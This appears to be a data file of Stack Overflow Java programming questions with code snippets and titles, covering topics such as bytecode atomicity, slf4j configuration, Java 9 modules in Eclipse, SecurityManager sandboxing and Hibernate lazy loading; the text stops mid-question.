generated bytecode is : Thus , we see the assignment is composed of two steps ( loading and storing ) .Assuming this code : Bytecode : Knowing that X86 processor can ( at least modern ones ) , operates increment operation atomically , as said : In computer science , the fetch-and-add CPU instruction is a special instruction that atomically modifies the contents of a memory location . It is used to implement mutual exclusion and concurrent algorithms in multiprocessor systems , a generalization of semaphores.Thus , first question : Despite of the fact that bytecode requires both steps ( loading and storage ) , does Java rely on the fact that assignment operation is an operation always carried out atomically whatever the processor 's architecture and so can ensure permanent atomicity ( for primitive assignments ) in its specification ? Second question : Is it wrong to confirm that with very modern X86 processor and without sharing compiled code across different architectures , there 's no need at all to synchronize the i++ operation ( or AtomicInteger ) ? Considering it already atomic .","public void assign ( int b ) { int a = b ; } public void assign ( int ) ; Code : 0 : iload_1 1 : istore_2 2 : return public void assign ( int b ) { int i = b++ ; } public void assign ( int ) ; Code : 0 : iload_1 1 : iinc 1 , 1 //extra step here regarding the previous sample 4 : istore_2 5 : return",Relation between bytecode instructions and processor operations +Java,"Browsing through Guava libraries I saw this weird signature on a readLines method from Files class : I know a little bit about generics in java , but this baffled me . What does the double T mean here ? And why is the first one in angled brackets ? UPDATE : Thanks for the answers . I am still not clear as to why I should use a T inside the brackets . Why for example ca n't it just be : orOr does the java syntax dictate that the SAME letter must be used ? Now this is even wierder : how can a method have a generic-return type and be void ?","public static < T > T readLines ( File file , Charset charset , LineProcessor < T > callback ) public static < > T readLines ( ) pulibc static < K > T readLines ( ) static < T > void fromArrayToCollection ( T [ ] a , Collection < T > c ) {",Java weird generic return type +Java,"Say for example I am given the number 3 . I then have to choose a random number from 0 to 3 , but where 0 has a bigger chance of being chosen than 1 , 1 has a bigger chance of being chosen than 2 , and 2 has a bigger chance of being chosen than 3.I already know that a percentage chance of choosing a specific number from 0 to 3 can kind of be achieved by doing the following : The problem is that the 3 can be anything . How can I do this ? Note : The numbers 0.5 , 0.8 and 0.95 were arbitrarily chosen by me . I would expect those numbers to decrease so that the sum of all of them equals 1 , and so that none of them are the same , if that is possible in some way .",double r = Math.random ( ) ; int n = 0 ; if ( r < 0.5 ) { n = 0 ; // 50 % chance of being 0 } else if ( r < 0.8 ) { n = 1 ; // 30 % chance of being 1 } else if ( r < 0.95 ) { n = 2 ; // 15 % chance of being 2 } else { n = 3 ; // 5 % chance of being 3 },Decreasing chance of choosing a number from a list of consecutive numbers +Java,"I am using slf4j , and it is logging , but it is not using logback as it 's supposed to ( since changes within the logback ( -test ) .xml do not affect logging behaviour.Additionally I removed all the indirect references to any logging library ( common & log4j ) which were present , and since did not provide the slf4j-simple lib , it ca n't fallback to that , either . Ist there some way to find out what it is using ? Thanks !",This is my POM : < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < project xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' > < modelVersion > 4.0.0 < /modelVersion > < groupId > com.goodgamestudios < /groupId > < artifactId > Icosphere < /artifactId > < version > 1.0 < /version > < packaging > war < /packaging > < name > Icosphere Data Platform < /name > < properties > < endorsed.dir > $ { project.build.directory } /endorsed < /endorsed.dir > < project.build.sourceEncoding > UTF-8 < /project.build.sourceEncoding > < version.arquillian_core > 1.1.8.Final < /version.arquillian_core > < /properties > < dependencyManagement > < dependencies > < dependency > < groupId > org.jboss.arquillian < /groupId > < artifactId > arquillian-bom < /artifactId > < version > $ { version.arquillian_core } < /version > < type > pom < /type > < scope > import < /scope > < /dependency > < /dependencies > < /dependencyManagement > < dependencies > < dependency > < groupId > org.slf4j < /groupId > < artifactId > slf4j-api < /artifactId > < version > 1.7.12 < /version > < /dependency > < dependency > < groupId > ch.qos.logback < /groupId > < artifactId > logback-classic < /artifactId > < version > 1.0.13 < /version > < /dependency > < dependency > < groupId > ch.qos.logback < /groupId > < artifactId > logback-core < /artifactId > < version > 1.1.3 < /version > < /dependency > < dependency > < groupId > org.slf4j < /groupId > < artifactId > log4j-over-slf4j < /artifactId > < version > 1.7.12 < /version > < /dependency > < dependency > < groupId > org.slf4j < /groupId > < artifactId > jcl-over-slf4j < /artifactId > < version > 1.7.12 < /version > < /dependency > < dependency > < groupId > org.slf4j < /groupId > < artifactId > jul-to-slf4j < /artifactId > < version > 1.7.12 < /version > < /dependency > < dependency > < groupId > com.mapr.hadoop < /groupId > < artifactId > maprfs < /artifactId > < version > 4.0.2-mapr < /version > < /dependency > < dependency > < groupId > com.mapr.hadoop < /groupId > < artifactId > maprfs-core < /artifactId > < version > 1.0.3-mapr-2.1.3.2 < /version > < /dependency > < dependency > < groupId > junit < /groupId > < artifactId > junit-dep < /artifactId > < version > 4.10 < /version > < scope > test < /scope > < /dependency > < dependency > < groupId > javax < /groupId > < artifactId > javaee-web-api < /artifactId > < version > 7.0 < /version > < scope > provided < /scope > < /dependency > < dependency > < groupId > org.primefaces < /groupId > < artifactId > primefaces < /artifactId > < version > 5.2 < /version > < /dependency > < dependency > < groupId > com.opencsv < /groupId > < artifactId > opencsv < /artifactId > < version > 3.4 < /version > < /dependency > < dependency > < groupId > org.apache.hadoop < /groupId > < artifactId > hadoop-core < /artifactId > < version > 1.2.1 < /version > < exclusions > < exclusion > < groupId > commons-logging < /groupId > < artifactId > commons-logging < /artifactId > < /exclusion > < /exclusions > < /dependency > < dependency > < groupId > org.apache.hbase < /groupId > < artifactId > hbase < /artifactId > < version > 0.94.0 < /version > < exclusions > < exclusion > < groupId > log4j < /groupId > < artifactId > log4j < /artifactId > < /exclusion > < exclusion > < groupId > org.slf4j < /groupId > < artifactId > slf4j-log4j12 < /artifactId > < /exclusion > < exclusion > < groupId > commons-logging < /groupId > < artifactId > commons-logging < /artifactId > < /exclusion > < /exclusions > < /dependency > < dependency > < groupId > commons-codec < /groupId > < artifactId > commons-codec < /artifactId > < version > 1.10 < /version > < /dependency > < dependency > < groupId > commons-io < /groupId > < artifactId > commons-io < /artifactId > < version > 2.4 < /version > < /dependency > < dependency > < groupId > commons-lang < /groupId > < artifactId > commons-lang < /artifactId > < version > 2.6 < /version > < /dependency > < dependency > < groupId > com.google.guava < /groupId > < artifactId > guava < /artifactId > < version > 18.0 < /version > < /dependency > < dependency > < groupId > com.google.protobuf < /groupId > < artifactId > protobuf-java < /artifactId > < version > 2.6.1 < /version > < /dependency > < dependency > < groupId > io.netty < /groupId > < artifactId > netty < /artifactId > < version > 3.10.3.Final < /version > < /dependency > < dependency > < groupId > org.apache.zookeeper < /groupId > < artifactId > zookeeper < /artifactId > < version > 3.4.6 < /version > < exclusions > < exclusion > < groupId > log4j < /groupId > < artifactId > log4j < /artifactId > < /exclusion > < exclusion > < groupId > org.slf4j < /groupId > < artifactId > slf4j-log4j12 < /artifactId > < /exclusion > < /exclusions > < /dependency > < dependency > < groupId > org.cloudera.htrace < /groupId > < artifactId > htrace-core < /artifactId > < version > 2.05 < /version > < exclusions > < exclusion > < groupId > commons-logging < /groupId > < artifactId > commons-logging < /artifactId > < /exclusion > < /exclusions > < /dependency > < dependency > < groupId > org.codehaus.jackson < /groupId > < artifactId > jackson-mapper-asl < /artifactId > < version > 1.9.13 < /version > < /dependency > < dependency > < groupId > org.jruby.joni < /groupId > < artifactId > joni < /artifactId > < version > 2.1.6 < /version > < /dependency > < dependency > < groupId > commons-fileupload < /groupId > < artifactId > commons-fileupload < /artifactId > < version > 1.3.1 < /version > < /dependency > < dependency > < groupId > org.jboss.weld.se < /groupId > < artifactId > weld-se < /artifactId > < version > 2.2.14.Final < /version > < scope > provided < /scope > < /dependency > < dependency > < groupId > org.apache.geronimo.specs < /groupId > < artifactId > geronimo-ejb_3.1_spec < /artifactId > < version > 1.0.2 < /version > < scope > provided < /scope > < /dependency > < dependency > < groupId > org.apache.deltaspike.core < /groupId > < artifactId > deltaspike-core-impl < /artifactId > < version > 1.4.1 < /version > < scope > test < /scope > < /dependency > < dependency > < groupId > org.apache.deltaspike.cdictrl < /groupId > < artifactId > deltaspike-cdictrl-weld < /artifactId > < version > 1.4.1 < /version > < scope > test < /scope > < /dependency > < dependency > < groupId > jboss < /groupId > < artifactId > jboss-client < /artifactId > < version > 4.0.2 < /version > < /dependency > < dependency > < groupId > org.jboss < /groupId > < artifactId > jboss-remote-naming < /artifactId > < version > 2.0.4.Final < /version > < /dependency > < dependency > < groupId > org.jboss.xnio < /groupId > < artifactId > xnio-nio < /artifactId > < version > 3.3.1.Final < /version > < /dependency > < dependency > < groupId > org.apache.poi < /groupId > < artifactId > poi < /artifactId > < version > 3.12 < /version > < /dependency > < dependency > < groupId > org.apache.poi < /groupId > < artifactId > poi-ooxml < /artifactId > < version > 3.11-beta2 < /version > < /dependency > < dependency > < groupId > org.jboss.arquillian.junit < /groupId > < artifactId > arquillian-junit-container < /artifactId > < scope > test < /scope > < /dependency > < dependency > < groupId > org.jboss.resteasy < /groupId > < artifactId > resteasy-client < /artifactId > < version > 3.0.5.Final < /version > < scope > test < /scope > < /dependency > < dependency > < groupId > org.jboss.resteasy < /groupId > < artifactId > resteasy-jaxb-provider < /artifactId > < version > 3.0.5.Final < /version > < scope > test < /scope > < /dependency > < /dependencies > < repositories > < repository > < releases > < enabled > true < /enabled > < /releases > < snapshots > < enabled > false < /enabled > < /snapshots > < id > mapr-releases < /id > < url > http : //repository.mapr.com/maven/ < /url > < /repository > < repository > < id > JBoss < /id > < name > JBoss repository < /name > < url > https : //repository.jboss.org/nexus/content/groups/public/ < /url > < /repository > < /repositories > < build > < finalName > $ { artifactId } < /finalName > < plugins > < plugin > < artifactId > maven-compiler-plugin < /artifactId > < version > 3.1 < /version > < configuration > < source > 1.8 < /source > < target > 1.8 < /target > < compilerArguments > < endorseddirs > $ { endorsed.dir } < /endorseddirs > < /compilerArguments > < /configuration > < /plugin > < plugin > < artifactId > maven-war-plugin < /artifactId > < version > 2.3 < /version > < configuration > < failOnMissingWebXml > false < /failOnMissingWebXml > < /configuration > < /plugin > < plugin > < artifactId > maven-dependency-plugin < /artifactId > < version > 2.6 < /version > < executions > < execution > < phase > validate < /phase > < goals > < goal > copy < /goal > < /goals > < configuration > < outputDirectory > $ { endorsed.dir } < /outputDirectory > < silent > true < /silent > < artifactItems > < artifactItem > < groupId > javax < /groupId > < artifactId > javaee-endorsed-api < /artifactId > < version > 7.0 < /version > < type > jar < /type > < /artifactItem > < /artifactItems > < /configuration > < /execution > < /executions > < /plugin > < plugin > < artifactId > maven-site-plugin < /artifactId > < configuration > < skip > true < /skip > < /configuration > < /plugin > < plugin > < artifactId > maven-assembly-plugin < /artifactId > < version > 2.5.5 < /version > < configuration > < skipAssembly > true < /skipAssembly > < /configuration > < /plugin > < plugin > < artifactId > maven-surefire-plugin < /artifactId > < executions > < execution > < id > secondPartTestsExecution < /id > < phase > test < /phase > < goals > < goal > test < /goal > < /goals > < configuration > < skip > true < /skip > < /configuration > < /execution > < /executions > < /plugin > < plugin > < artifactId > maven-source-plugin < /artifactId > < /plugin > < /plugins > < /build > < profiles > < profile > < id > arquillian-wildfly-remote < /id > < build > < plugins > < plugin > < artifactId > maven-surefire-plugin < /artifactId > < version > 2.14.1 < /version > < configuration > < systemPropertyVariables > < arquillian.launch > arquillian-wildfly-remote < /arquillian.launch > < /systemPropertyVariables > < /configuration > < /plugin > < /plugins > < /build > < dependencies > < dependency > < groupId > org.wildfly < /groupId > < artifactId > wildfly-arquillian-container-remote < /artifactId > < version > 8.2.1.Final < /version > < scope > test < /scope > < /dependency > < /dependencies > < /profile > < /profiles > < /project >,How to find out which implementation slf4j is using +Java,"I installed Version : Oxygen.1a Release ( 4.7.1a ) Build id : 20171005-1200 supporting Java 9.With suggested configuratio on eclipse.iniI have developed by java 9 ( java 9 modularity ) code project to test dependency injection as pure Java prject from eclipse , but when I have integrated Maven running my from eclipse I get systematically the following error Error occurred during initialization of boot layerjava.lang.module.FindException : Module com.my.module.hello.test not foundthe only solution was to add on VM argumentsIndeed if add to Vm arguments the verbose parameter I can see during loading ... [ 0.694s ] [ info ] [ class , load ] java.lang.NamedPackage source : jrt : /java.base [ 0.697s ] [ info ] [ class , load ] com.my.module.hello.MyHello source : file : /C : /Users/212442540/workspace-training/my-module-prj/my-module/target/classes/ [ 0.698s ] [ info ] [ class , load ] java.lang.module.ModuleDescriptor $ $ Lambda $ 24/2114889273 source : java.lang.module.ModuleDescriptor ... when I remove the `` -- module-path '' parameter this line disappear.Notice : Eclipse is able to work correctly during the compilation or editing . See the completition and so on ..I have added modpath dependencies also to my projectForcing dependencies on project configI added the dependencies manually on the project configSo it seems that Eclipse is able to compile java 9 modules , but it is not able to run module if integrated with maven.Forcing dependencies on Configratin RunI have also added the dependencies manuallyfigure 1but eclipse continues to remove them.Before : figure 2After run eclipse restores : figure 3It seems that eclipse reset systematically the configuration if integrated with maven .",-vmC : \Program Files\Java\jdk-9\bin\javaw.exe -- add-modules=ALL-SYSTEM -- module-path target/classes ; ../my-module-api/target/classes ; ../my-module-it/target/classes -- module com.my.module.hello.test/com.my.module.hello.Reflection,Eclipse issue with java 9 and maven +Java,"I have an Android library project with It uses a lot of lambdas , try with resources and etc . How could I downgrade sourceCompatibility & targetCompatibility to Java 1.6 instead ? Is there such functionality built in Android Studio IDE ?",compileOptions { sourceCompatibility JavaVersion.VERSION_1_8 targetCompatibility JavaVersion.VERSION_1_8 },Android Studio refactor revert all lambdas and other Java 8 features +Java,"I recently made an initial comparison of the running time of Dijkstra 's algorithm using two data structures , the Java-based PriorityQueue ( based on a binary heap , if I 'm not mistaken ) , and a Fibonacci heap . I used Java 's currentTimeMillis ( ) to make my calculations . The results I ended up with are quite interesting . This is the output for one of my testcases : Admittedly , I 'm short on data sets at the the moment , with the above graph being my largest ( I plan to make more soon ) . But does this make any sense ? I have always thought Fibonacci heaps were faster than other data structures due to their amortized running time compared to the other data structures . I 'm not really sure where this 3-milisecond difference is coming from . ( I 'm running it on an Intel Core Ivy Bridge i7-3630M processor , if that helps . ) Note : I stumbled upon this thread which might explain the issue , though I 'm still unclear as to why the Fibonacci heap version is taking longer . According to that thread , it could be because my graph is not dense enough and therefore the number of decrease-Key operations is not large enough for the performance of the Fibonacci heap to really shine . Would this be the only plausible conclusion , or is there something else I 'm missing ?",Running Dijkstra 's with 8 nodes and 27 links- Execution time with binary heap : 1 miliseconds- Execution time with Fibonacci heap : 4 miliseconds,Dijkstra on Java : Getting Interesting Results Using a Fibonacci Heap vs. PriorityQueue +Java,I have seen code to get field value through Reflection executed within Privilege block . Following piece of code is taken from ReflectionUtil : I do n't understand the reason to get the field value within the privileged block ; we can do it without of it . Is it better coding practice or do we gain something extra ? Ref : API for Privileged Blocks,"public static < T > T accessDeclaredField ( final Field f , final Object o , final Class < T > responseClass ) { return AccessController.doPrivileged ( new PrivilegedAction < T > ( ) { public T run ( ) { boolean b = f.isAccessible ( ) ; try { f.setAccessible ( true ) ; return responseClass.cast ( f.get ( o ) ) ; } catch ( SecurityException e ) { return null ; } catch ( IllegalAccessException e ) { return null ; } finally { f.setAccessible ( b ) ; } } } ) ; }",What is the need of Privileged Block in Reflection +Java,"My country changed the the Daylight Saving shift date from `` October 21 '' to `` November 4 '' and we need to apply this in our back-end.The appropriate solution is to update the Operating System configuration , but we have restrictions to do so ( legacy dependencies ) . We are looking for a workaround.Is it possible to use code and change the DST shift date programmatically ? Output must be -03:00 :","GregorianCalendar gc = new GregorianCalendar ( ) ; gc.setTimeInMillis ( 0 ) ; gc.set ( 2018 , Calendar.OCTOBER , 21 , 0 , 0 , 0 ) ; gc.setTimeZone ( TimeZone.getTimeZone ( `` Brazil/East '' ) ) ; XMLGregorianCalendar xml = DatatypeFactory.newInstance ( ) .newXMLGregorianCalendar ( gc ) ; System.out.println ( `` XML Date : `` + xml.toString ( ) ) ; XML Date : 2018-10-21T01:00:00.000-02:00",How to manually set the Daylight Saving ( DST ) shift date in Java +Java,"I 'm using a Windows 7 machine whose `` Control Panel\Clock , Language , and Region '' is `` Denmark '' According to the documentation for Scanner : A scanner 's initial locale is the value returned by the Locale.getDefault ( ) method ; But when I run the code : It outputs `` en_US '' and then throws a java.util.InputMismatchException at sc.nextDouble ( ) .It works when the scanner is initialized with `` 1,0 '' However , if I explicitly set the Locale : It outputs `` en_US '' and then parses the double just fine . Am I missing something , or is the documentation for Scanner wrong ? Edit Following the suggestion of @ Perception , I looked at sc.locale ( ) in the first example . It prints `` da_DK '' . So why is it not `` en_US '' , when that is what is being returned by the Locale.getDefault ( ) method ?",System.out.println ( Locale.getDefault ( ) ) ; Scanner sc = new Scanner ( `` 1.0 '' ) ; sc.nextDouble ( ) ; Locale.setDefault ( Locale.US ) ; System.out.println ( Locale.getDefault ( ) ) ; Scanner sc = new Scanner ( `` 1.0 '' ) ; sc.nextDouble ( ) ;,How exactly does Java Scanner parse double ? +Java,I want to show all users present in a database . I want to place all users in a list and then render that list to a template . Then I want to iterate over the list of users displaying each in a < p > tag I want to know how to retrieve the users from the database.Is the above approach reasonable ? If not can I get some pointers on where to go from here ?,For u in users : < p > u.username < /p > Endfor Public static Result render_f ( ) { List < String > users = ask in db ; return ok ( template.render ( users ) ) ;,How to render a list to template ? +Java,"Having following , fairly simple code and correctly configured JTA-based persistence context : I am encountering following exception while invoking MyEntityRepository.persist ( ) : In order to fix it I have to add : What could cause such exception ? @ Transactional annotation is marked as @ Inherited .",abstract class AbstractRepository < E > { @ PersistenceContext protected EntityManager em ; @ Transactional public synchronized void persist ( E entity ) { em.persist ( entity ) ; em.flush ( ) ; } } @ ApplicationScopedclass MyEntityRepository extends AbstractRepository < MyEntity > { } 2015-06-23T12:34:55.233+0200|Severe : javax.persistence.TransactionRequiredException at com.sun.enterprise.container.common.impl.EntityManagerWrapper.doTxRequiredCheck ( EntityManagerWrapper.java:161 ) at com.sun.enterprise.container.common.impl.EntityManagerWrapper.doTransactionScopedTxCheck ( EntityManagerWrapper.java:151 ) at com.sun.enterprise.container.common.impl.EntityManagerWrapper.persist ( EntityManagerWrapper.java:281 ) at my.project.AbstractRepository.persist ( AbstractRepository.java:28 ) at my.project.QuestionnaireRepository.persist ( QuestionnaireRepository.java:1 ) at my.project.QuestionnaireRepository $ Proxy $ _ $ $ _WeldClientProxy.persist ( Unknown Source ) at my.project.QuestionnaireForm.save ( QuestionnaireForm.java:29 ) at my.project.QuestionnaireForm.lambda $ 0 ( QuestionnaireForm.java:1 ) at my.project.QuestionnaireForm $ $ Lambda $ 56/1079229220.buttonClick ( Unknown Source ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:483 ) at com.vaadin.event.ListenerMethod.receiveEvent ( ListenerMethod.java:508 ) at com.vaadin.event.EventRouter.fireEvent ( EventRouter.java:198 ) at com.vaadin.event.EventRouter.fireEvent ( EventRouter.java:161 ) at com.vaadin.server.AbstractClientConnector.fireEvent ( AbstractClientConnector.java:977 ) at com.vaadin.ui.Button.fireClick ( Button.java:393 ) at com.vaadin.ui.Button $ 1.click ( Button.java:61 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:483 ) at com.vaadin.server.ServerRpcManager.applyInvocation ( ServerRpcManager.java:168 ) at com.vaadin.server.ServerRpcManager.applyInvocation ( ServerRpcManager.java:118 ) at com.vaadin.server.communication.ServerRpcHandler.handleInvocations ( ServerRpcHandler.java:291 ) at com.vaadin.server.communication.ServerRpcHandler.handleRpc ( ServerRpcHandler.java:184 ) at com.vaadin.server.communication.UidlRequestHandler.synchronizedHandleRequest ( UidlRequestHandler.java:92 ) at com.vaadin.server.SynchronizedRequestHandler.handleRequest ( SynchronizedRequestHandler.java:41 ) at com.vaadin.server.VaadinService.handleRequest ( VaadinService.java:1408 ) at com.vaadin.server.VaadinServlet.service ( VaadinServlet.java:350 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:790 ) at org.apache.catalina.core.StandardWrapper.service ( StandardWrapper.java:1682 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:344 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:214 ) at org.glassfish.tyrus.servlet.TyrusServletFilter.doFilter ( TyrusServletFilter.java:295 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:256 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:214 ) at org.apache.catalina.core.StandardWrapperValve.invoke ( StandardWrapperValve.java:316 ) at org.apache.catalina.core.StandardContextValve.invoke ( StandardContextValve.java:160 ) at org.apache.catalina.core.StandardPipeline.doInvoke ( StandardPipeline.java:734 ) at org.apache.catalina.core.StandardPipeline.invoke ( StandardPipeline.java:673 ) at com.sun.enterprise.web.WebPipeline.invoke ( WebPipeline.java:99 ) at org.apache.catalina.core.StandardHostValve.invoke ( StandardHostValve.java:174 ) at org.apache.catalina.connector.CoyoteAdapter.doService ( CoyoteAdapter.java:415 ) at org.apache.catalina.connector.CoyoteAdapter.service ( CoyoteAdapter.java:282 ) at com.sun.enterprise.v3.services.impl.ContainerMapper $ HttpHandlerCallable.call ( ContainerMapper.java:459 ) at com.sun.enterprise.v3.services.impl.ContainerMapper.service ( ContainerMapper.java:167 ) at org.glassfish.grizzly.http.server.HttpHandler.runService ( HttpHandler.java:201 ) at org.glassfish.grizzly.http.server.HttpHandler.doHandle ( HttpHandler.java:175 ) at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead ( HttpServerFilter.java:235 ) at org.glassfish.grizzly.filterchain.ExecutorResolver $ 9.execute ( ExecutorResolver.java:119 ) at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter ( DefaultFilterChain.java:284 ) at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart ( DefaultFilterChain.java:201 ) at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute ( DefaultFilterChain.java:133 ) at org.glassfish.grizzly.filterchain.DefaultFilterChain.process ( DefaultFilterChain.java:112 ) at org.glassfish.grizzly.ProcessorExecutor.execute ( ProcessorExecutor.java:77 ) at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent ( TCPNIOTransport.java:561 ) at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent ( AbstractIOStrategy.java:112 ) at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0 ( WorkerThreadIOStrategy.java:117 ) at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.access $ 100 ( WorkerThreadIOStrategy.java:56 ) at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy $ WorkerThreadRunnable.run ( WorkerThreadIOStrategy.java:137 ) at org.glassfish.grizzly.threadpool.AbstractThreadPool $ Worker.doWork ( AbstractThreadPool.java:565 ) at org.glassfish.grizzly.threadpool.AbstractThreadPool $ Worker.run ( AbstractThreadPool.java:545 ) at java.lang.Thread.run ( Thread.java:745 ) @ Override @ Transactionalpublic void persist ( Entity e ) { super.persist ( e ) ; },@ Transactional ignored in CDI Bean 's base class +Java,"Does making a class field volatile prevent all memory visibility issues with it in a concurrent situation ? Is it possible that for below class , a thread that gets a reference of a Test object sees x as 0 first ( the default value of int ) and then 10 ? I am thinking this to be possible if and only if the Constructor of Test gives away this reference without completing ( improper publishing ) . Can someone validate/correct me ? Second question : what if it was final int x=10 ; ?",class Test { volatile int x = 10 ; },Does making a field ` volatile ` prevent all memory visibility issues in a concurrent situation ? +Java,"I 'm writing demo code for an API we 've created and I keep running into the same problem where I 'm repeating myself , over and over ad nauseum . I am painfully aware that Java is scheduled to have closures added but I do n't have access to them now . Here is what is repeated all over the place that I 'd like to just box into it 's own little corner : About the only way I 've thought to go around this is by passing a Method into a function which carries with it the try-catch logic and wrapping it all up in another function like so : but it looks ugly and carries with it a lot of boilerplate . Is there an easier way to compose functions in Java ?","public BarObj Foo ( Double ... _input ) { try { //things that vary per function //but everything else ... } catch ( NullException _null ) { m_Logger.error ( `` Null error exception caught in Blah : :Foo '' ) ; return null ; } catch ( Exception ex ) { m_Logger.error ( ex.getMessage ( ) ) ; return null ; } } public BarObj MyFunc ( Double ... _input ) { return compose ( `` MyLogic '' , _input ) ; } private BarObj MyLogic ( Double ... _input ) throws Exception { //stuff }",Composing functions in Java ? +Java,"I am currently working on developing a small Java application in which trusted code must be run alongside untrusted code . To accomplish this , I have installed a custom SecurityManager that throws SecurityExceptions any time a permission is checked.As a bridge between the trusted and untrusted code , I have a thread that uses Constructor.newInstance ( ) to instantiate an object of an untrusted type . At the time that it makes this call , the security manager is configured to block everything . Interestingly , the first 15 times that I try to create objects using Constructor.newInstance ( ) , everything works fine , but the 16th time I get a SecurityException.I 've managed to get this down to a simple test program : This program installs a SecurityManager whose checkPermission always throws an exception regardless of what permission is requested . It then sits in a loop and uses ctor.newInstance ( ) to instantiate a harmless Main object that prints out the number of instances generated so far . The output of this program , on my system , is as follows : According to the Javadoc for RuntimePermission , the createClassLoader permission is a risky one to grant : This is an extremely dangerous permission to grant . Malicious applications that can instantiate their own class loaders could then load their own rogue classes into the system . These newly loaded classes could be placed into any protection domain by the class loader , thereby automatically granting the classes the permissions for that domain.I have two questions : What specifically is causing this error ? Why is it that on the 16th time around , I get a request for a classloader ? I suspect this has to do with Java trying to optimize the reflection by generating bytecode to directly instantiate the object , but I 'm not sure.Without whitelisting the createClassLoader privilege , which is dangerous , is there a way to instantiate the untrusted objects from trusted code ? Am I fundamentally approaching this the wrong way ? Thanks !",import java.lang.reflect . * ; import java.security . * ; public class Main { /* Track how many instances have been created so that we can see when the exception * is thrown . */ private static int numInstances = 0 ; public Main ( ) { System.out.println ( `` Number created : `` + ++numInstances ) ; } public static void main ( String [ ] args ) { /* Get the constructor for Main so that we can instantiate everything * later on . */ Constructor < Main > ctor ; try { ctor = Main.class.getConstructor ( ) ; } catch ( NoSuchMethodException e ) { e.printStackTrace ( ) ; return ; } /* Install a super prohibitive security manager that disallows all operations . */ System.setSecurityManager ( new SecurityManager ( ) { @ Override public void checkPermission ( Permission p ) { /* Nothing is allowed - any permission check causes a security * exception . */ throw new SecurityException ( `` Not permitted : `` + p ) ; } } ) ; /* Continuously create new Main objects . */ try { while ( true ) { ctor.newInstance ( ) ; } } catch ( Exception e ) { e.printStackTrace ( ) ; return ; } } } Number created : 1Number created : 2Number created : 3Number created : 4Number created : 5Number created : 6Number created : 7Number created : 8Number created : 9Number created : 10Number created : 11Number created : 12Number created : 13Number created : 14Number created : 15java.lang.SecurityException : Not permitted : ( `` java.lang.RuntimePermission '' `` createClassLoader '' ) at Main $ 1.checkPermission ( Main.java:32 ) at java.lang.SecurityManager.checkCreateClassLoader ( SecurityManager.java:611 ) at java.lang.ClassLoader.checkCreateClassLoader ( ClassLoader.java:274 ) at java.lang.ClassLoader. < init > ( ClassLoader.java:316 ) at sun.reflect.DelegatingClassLoader. < init > ( ClassDefiner.java:72 ) at sun.reflect.ClassDefiner $ 1.run ( ClassDefiner.java:60 ) at sun.reflect.ClassDefiner $ 1.run ( ClassDefiner.java:58 ) at java.security.AccessController.doPrivileged ( Native Method ) at sun.reflect.ClassDefiner.defineClass ( ClassDefiner.java:57 ) at sun.reflect.MethodAccessorGenerator $ 1.run ( MethodAccessorGenerator.java:399 ) at sun.reflect.MethodAccessorGenerator $ 1.run ( MethodAccessorGenerator.java:396 ) at java.security.AccessController.doPrivileged ( Native Method ) at sun.reflect.MethodAccessorGenerator.generate ( MethodAccessorGenerator.java:395 ) at sun.reflect.MethodAccessorGenerator.generateConstructor ( MethodAccessorGenerator.java:94 ) at sun.reflect.NativeConstructorAccessorImpl.newInstance ( NativeConstructorAccessorImpl.java:48 ) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance ( DelegatingConstructorAccessorImpl.java:45 ) at java.lang.reflect.Constructor.newInstance ( Constructor.java:526 ) at Main.main ( Main.java:39 ),Why does my custom SecurityManager cause exceptions the 16th time I create an object with Constructor.newInstance ? +Java,"I have the following 2 classes ( trimmed down for this post ) I am trying to load an applicationById wuthout loading the applicationHomeScreenUnfortunately the lazy loading doesnt seem to be working . I have looked at other posts and they recommend setting the option=false flag on the @ OneToOne annotation but unfortunately , applicationHomeScreen can be optionalI am now trying to use projections but that is not working either for me eitherWhen I call the following methodI get the stack trace Can anyone recommend an approach I can use to either a ) get lazy loading working properly for one to one mappings where the association is not requiredb ) get projections working so I dont need to load any child associations if they are not neededThank youDamien","public class ApplicationVO implements Serializable { /** * */ private static final long serialVersionUID = -3314933694797958587L ; @ Id @ GeneratedValue ( strategy = GenerationType.IDENTITY ) @ Column ( name = `` id '' , unique = true , nullable = false ) private Integer id ; @ OneToOne ( fetch = FetchType.LAZY , mappedBy = `` application '' ) @ Cascade ( { CascadeType.ALL } ) @ JsonIgnore private ApplicationHomeScreenVO applicationHomeScreen ; ... ... ... } public class ApplicationHomeScreenVO implements Serializable { /** * */ private static final long serialVersionUID = -9158898930601867545L ; @ Id @ GeneratedValue ( strategy = GenerationType.IDENTITY ) @ Column ( name = `` id '' , unique = true , nullable = false ) @ JsonProperty ( `` id '' ) private Integer id ; @ OneToOne ( fetch = FetchType.LAZY ) @ Cascade ( { CascadeType.SAVE_UPDATE } ) @ JoinColumn ( name= '' application_id '' ) @ JsonProperty ( `` application '' 